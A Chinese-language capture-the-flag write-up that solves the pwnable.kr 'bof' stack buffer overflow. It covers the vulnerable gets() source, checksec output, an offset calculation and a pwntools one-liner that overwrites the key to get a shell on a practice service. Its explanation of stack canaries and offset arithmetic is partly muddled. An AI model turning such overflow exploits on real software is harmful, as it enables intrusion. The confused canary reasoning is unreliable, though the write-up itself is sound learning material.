2025-11-25-BOF

2025-11-25-BOF

十一月 25, 2025

EZ_BOF

参考题目来源:https://pwnable.kr/play.php

查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32]; // 32位元缓冲区
printf("overflow me : ");
// 这里没有限制长度,随便溢
gets(overflowme); // smash me!

// buffer只有32字节,但后面还有:
// 12字节 saved EBP(4字节)+ saved EIP(4字节)+ main传的key参数(4字节)
// 所以从overflowme[0]到key总共:32 + 4 + 4 + 4 = 44字节



// 为什么是52字节A而不是44?
// 因为有Stack Canary!
// key这个局部变量就在栈上,我们得精确覆盖成0xcafebabe。
/// 检查key是否为0xcafebabe
if(key == 0xcafebabe){
setregid(getegid(), getegid());
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef); // 初始key值不是0xcafebabe
// 正常结束程序
// 溢出后覆盖修改key值为0xcafebabe
// func(0xcafebabe);
return 0;
}

整理逻辑:

初始:func(0xdeadbeef)

我们需要修改为:0xcafebabe

溢出点是:

1
2
char overflowme[32];
gets(overflowme);

经过计算是

12字节 saved EBP(4字节)+ saved EIP(4字节)+ main传的key参数(4字节)

但是经过检查

1
2
3
4
5
6
7
8
9
bof@ubuntu:~$ checksec ./bof
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/bof/bof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

发现开启了 Canary found

众所周知:Canary 就是 在栈上的返回地址之前放置一个随机值(canary)

所以,我们需要把Canary也覆盖掉

地址计算:

0xffffd240 - 0xffffd208 = 0x38(16进制) 0x38 = 56(10进制)

第一个A的地址 → key的地址 差56字节 → 52个A + 4字节魔法值。

所以 exp为

1
from pwn import *;r=remote('0','9000');r.sendline(52*b'A'+p32(0xcafebabe));r.interactive()

p32(0xcafebabe) 会生成b'\xbe\xba\xfe\xca'